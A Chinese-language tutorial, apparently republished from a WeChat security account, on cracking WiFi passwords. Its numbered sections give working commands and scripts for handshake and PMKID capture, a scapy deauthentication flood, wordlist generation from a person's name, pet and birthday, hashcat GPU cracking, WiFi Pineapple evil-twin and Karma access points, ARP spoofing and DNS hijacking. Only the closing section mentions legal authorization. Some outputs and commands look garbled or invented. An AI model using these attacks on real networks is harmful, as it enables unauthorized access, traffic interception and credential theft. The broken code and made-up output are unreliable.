保持完全安全的唯一方法是了解真正的危险
保障你的数字生活安全的最佳方法是了解哪些数字习惯会导致危险。
1.哈希和密码学的基础知识
了解密码学的基础知识对于掌握现代安全协议的实施方式至关重要。加密哈希函数是保护数据安全的基石,因为它们将输入数据(如密码)转换为固定大小的字符串。这些函数是确定性的 - 这意味着相同的输入总是产生相同的输出 - 但被设计为单向的,因此检索原始输入在计算上是不切实际的。
稳健哈希函数最重要的特性之一是雪崩效应。即使输入发生最细微的变化,也会导致输出大不相同,这有助于抵御依赖模式识别的攻击。在本节中,我们将比较常见的哈希算法,例如 SHA-256、MD5 和 bcrypt,讨论它们的优点、缺点和适当的应用。
下面是一个 Python 示例,演示了 SHA-256 哈希算法的实际操作:
# 演示 SHA-256 哈希处理的 Python 示例import hashlib def generate_hash ( password ): sha = hashlib.sha256() sha.update(password.encode( 'utf-8' )) return sha.hexdigest()
# 示例用法print(generate_hash('password1234')) # 输出:b61f66aecae3165af130b360cfa4152ff885269a8a11ebca17f8e50befd4dd82
2. 无线网络安全深度探究
在无线网络安全领域,了解网络通信的详细结构至关重要。例如,WPA/WPA2 协议中的四次握手不仅对于建立安全连接至关重要,而且还提供了身份验证过程的快照。通过剖析这些数据包,研究人员可以识别身份验证过程中的潜在漏洞并深入了解加密方法。
像tshark这样的深度数据包分析工具使我们能够详细检查握手的每个帧。这种粒度级别使我们能够更清楚地了解关键元素,例如所使用的身份验证方法、序列号和加密参数。这些见解对于防御攻击以及在受控环境中评估安全漏洞都非常有价值。
以下是捕获握手数据包并执行详细帧分析的命令:
# 捕获带有详细数据包检查的握手tshark -r capture-01.cap -Y "eapol" -V
帧分析:帧 1:身份验证(4 条消息中的第 1 条) IEEE 802.11 身份验证 算法:开放系统 (0) 序列:1 EAPOL:协议版本:802.1X-2001 (1) 密钥描述符类型:HMAC-SHA1 (2)帧 2:关联响应 标签:RSN 信息 (48) 成对密码:CCMP (4) AKM 套件:PSK (1)# PMKID 攻击媒介hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng hcxpcapngtool -z pmkid.22000 pmkid.pcapng
3. 工具链设置和配置
强大的工具链是任何有效安全测试设置的基础。对于 WiFi 密码破解,许多专业人士都选择使用 Kali Linux,因为它拥有丰富的安全工具库。正确配置的环境允许您无缝集成各种实用程序,以完成从数据包捕获到 GPU 加速破解等任务。
本节将引导您设置aircrack-ng、hashcat、hcxtools等基本工具。通过确保所有工具均已正确安装和更新,您可以专注于执行测试方法,而无需在关键操作期间排除兼容性问题。
此外,配置 GPU 驱动程序(尤其是对于支持 CUDA 的设备)对于利用硬件加速执行破解任务至关重要。以下命令概述了工具链的安装和必要的 GPU 驱动程序配置:
#!/bin/bash # 完整工具链安装apt update && apt install -y aircrack-ng hashcat hcxtools hcxdumptool bully reaver mdk4
# 检查 CUDA 兼容性nvidia-detect # 安装专有驱动程序apt install -y nvidia-driver nvidia-cuda-toolkit
4. 握手捕获方法
捕获握手是 WiFi 密码破解的关键步骤,因为它提供了执行离线攻击所需的数据。本节介绍如何使用airodump-ng的高级过滤技术来隔离握手数据包并减少无关数据的噪音。一切都取决于精度 — 捕获携带身份验证信息的准确帧。
主动方法通常涉及触发取消身份验证攻击以强制设备重新连接,从而生成新的握手。通过自动化这些过程,您可以确保稳定的握手捕获流,这在连接机会稀少的环境中特别有用。
下面的命令说明了捕获期间的高级过滤和用于自动执行取消身份验证攻击的 Python 脚本:
airodump-ng -c 6 --bssid AA :BB :CC :DD :EE :FF -w focused_capture --output-format pcap --ignore-negative-one wlan0mon
#来自scapy 的用于持久取消认证的 Python 脚本。全部导入* def deauth(target,count= 5,iface= “wlan0mon”): packet = RadioTap()/Dot11(addr1= “ff:ff:ff:ff:ff:ff”, addr2=target, addr3=target)/Dot11Deauth() sendp(packet,iface=iface,count=count,inter= 0.2)deauth(“AA:BB:CC:DD:EE:FF”)
5. 高级词表工程
在破解密码时,拥有有效的单词表与拥有正确的工具同样重要。在本节中,我们将探索结合传统方法和创新 AI 方法的高级单词表工程技术。通过了解如何生成和优化单词表,您可以大大提高成功的机会。
传统方法包括编制常用密码列表并使用组合攻击来创建变体。然而,现代技术现在包括使用人工智能模型来分析模式并根据上下文线索生成候选密码。这种人类洞察力和机器学习的结合产生了一个更具动态性和适应性的单词表。
以下是使用基于 GPT 的 API 提取与密码相关的单词并使用 Hashcat 生成混合单词表的示例:
# GPT-4 单词表生成器 API 调用import openai openai.api_key = "API_KEY" response = openai.ChatCompletion.create( model= "gpt-4" , messages=[{ "role" : "user" , "content" : "从以下单词中提取与密码相关的单词:'John loves Lakers 2003, pet=Bella, bday=06/15'" }] ) print (response.choices[0].message.content) # 使用 Hashcat 生成混合单词表hashcat -a 1 -m 0 --stdout nouns.txt verbs.txt | hashcat -a 6 -m 0 --stdout - ?d?d?d?d > final_wordlist.txt
#Response import itertools # 模拟从输入数据中提取与密码相关的单词input_text = "John loves Lakers 2003, pet=Bella, bday=06/15" words = [ "John" , "Lakers" , "2003" , "Bella" , "0615" ] # 提取的单词# 生成混合单词列表变体nouns = [ "John" , "Lakers" , "Bella" ] verbs = [ "loves" , "rocks" , "rules" ] numbers = [ "2003" , "0615" , "1234" ] # 生成名词 + 动词 + 数字的组合wordlist = set () for noun, verb, num in itertools.product(nouns, verbs, numbers): wordlist.add( f" {noun} {verb} {num} " ) wordlist.add( f" {noun} {num} {verb} " ) wordlist.add( f" {verb} {noun} {num} " ) # 输出生成的单词列表 wordlist = sorted (wordlist) wordlist_file = "/mnt/data/final_wordlist.txt" with open (wordlist_file, "w" ) as f: for word in wordlist: f.write(word + "n" ) # 显示文件供用户下载wordlist_file结果'/mnt/data/final_wordlist.txt' # 创建的单词列表链接在此处:https://hastebin.com/share/ciresunuli
6. GPU 加速密码破解
随着加密方法变得越来越复杂,破解密码所需的计算量也呈指数级增长。GPU 加速密码破解利用现代显卡的并行处理能力,大大减少了测试每个候选密码所需的时间。
在本节中,我们将深入研究基准测试技术,使用 Hashcat 等工具来测量 GPU 的性能。基准测试是帮助您优化设置和了解硬件极限的重要步骤。此外,我们还将介绍如何配置分布式破解环境,这在处理大型数据集时特别有用。
以下命令演示了如何对 GPU 进行基准测试(使用 NVIDIA RTX 4090 作为示例)并配置 Hashcat 集群以进行分布式破解:
# 在 NVIDIA RTX 4090上对 WPA2 进行基准测试hashcat - b -m 22000 # Hashcat 集群配置hashcat --brain-server --brain-port 13743--brain-password SuperSecret! --brain-client
7. WiFi菠萝战术行动
WiFi Pineapple 设备提供了一个紧凑而强大的平台,可用于进行深入的无线网络评估。本节重点介绍使用 WiFi Pineapple 的战术操作,包括部署恶意接入点和执行 Evil Twin 攻击。这些技术通常在受控环境中使用,以测试网络漏洞。
通过使用 PineAP 配置模拟合法网络,WiFi Pineapple 可以诱使毫无戒心的设备连接到恶意接入点。结合 Karma 攻击和 MAC 过滤,这些操作允许渗透测试人员模拟真实世界的攻击并评估无线网络的弹性。
下面,您将找到使用 WiFi Pineapple 设置恶意接入点和启用 Karma 攻击自动化的配置命令:
# PineAP 为流氓 AP 配置configureset pineapple interface wlan1set pineapple ssid "Free WiFi"set pineapple channel 6set pineapple security wpa2set pineapple key "12345678"commitstart# Enable Karma and MAC filtering/usr/bin/karma-startecho"AA:BB:CC:DD:EE:FF" > /etc/pineapple/whitelist.txt
8. 网络路径操纵攻击
操纵网络路径是高级渗透测试中经常使用的一种策略。在本节中,我们将探讨 ARP 中毒和 DNS 劫持等技术,这些技术允许攻击者拦截和重定向网络流量。这些方法可以泄露敏感信息并突显网络防御中的弱点。
ARP 中毒涉及发送伪造的 ARP 消息,将攻击者的 MAC 地址与另一台设备的 IP 地址关联起来,从而有效地将攻击者定位在通信中间。另一方面,DNS 劫持会操纵 DNS 查询以将流量重定向到恶意服务器。如果在测试环境中负责任地使用,这两种技术都非常有效。
以下命令说明如何通过 DNSMasq 进行 ARP 投毒和配置 DNS 劫持:
arpspoof -i wlan1 -t 192.168.1.1 192.168.1.100
# DNSMasq 恶意配置echo "address=/example.com/192.168.1.2" >> /etc/dnsmasq.conf systemctl restart dnsmasq
9.优化和分布式破解
在处理大规模密码破解操作时,优化是关键。本节概述了通过利用云计算资源和微调密码修改规则来简化破解过程的策略。分布式破解不仅可以加快破解速度,还可以让您处理更复杂的密码数据集。
像 AWS 这样的云平台提供了可扩展的 GPU 实例,可以集成到您的破解设置中,从而显著提高性能。同时,Hashcat 等工具中的自定义规则引擎可以根据特定的密码模式进行定制,从而增加成功率并减少不必要的计算。
以下命令展示如何在 AWS 上设置 EC2 GPU 实例并使用 Hashcat 配置自定义规则引擎:
# EC2 GPU 实例设置aws ec2 run-instances --image-id ami- 0 abcdef1234567890 --instance-type p3.8 xlarge--key-name HashcatKeyPair --security-group-ids sg- 903004 f8
#Hashcat 规则引擎# 自定义规则文件(myrules.rule):c $1 $3 $! s?[0-9]?[0-9]?[0-9]
10. 道德考量和法律框架
虽然 WiFi 密码破解的技术方面令人兴奋,但也伴随着严重的道德和法律责任。本节强调确保任何渗透测试都在法律框架内进行并获得适当授权的重要性。进行未经授权的访问可能会导致严重的法律后果。
对于任何安全专业人员来说,获得明确许可并明确定义任何测试的范围至关重要。详细的渗透测试合同概述了授权技术、IP 范围和报告程序,有助于保护测试人员和客户。遵守法律标准不仅是最佳实践,也是网络安全界的道德要求。
原文始发于微信公众号(KK安全说):WiFi 密码破解:技术、工具和高级攻击
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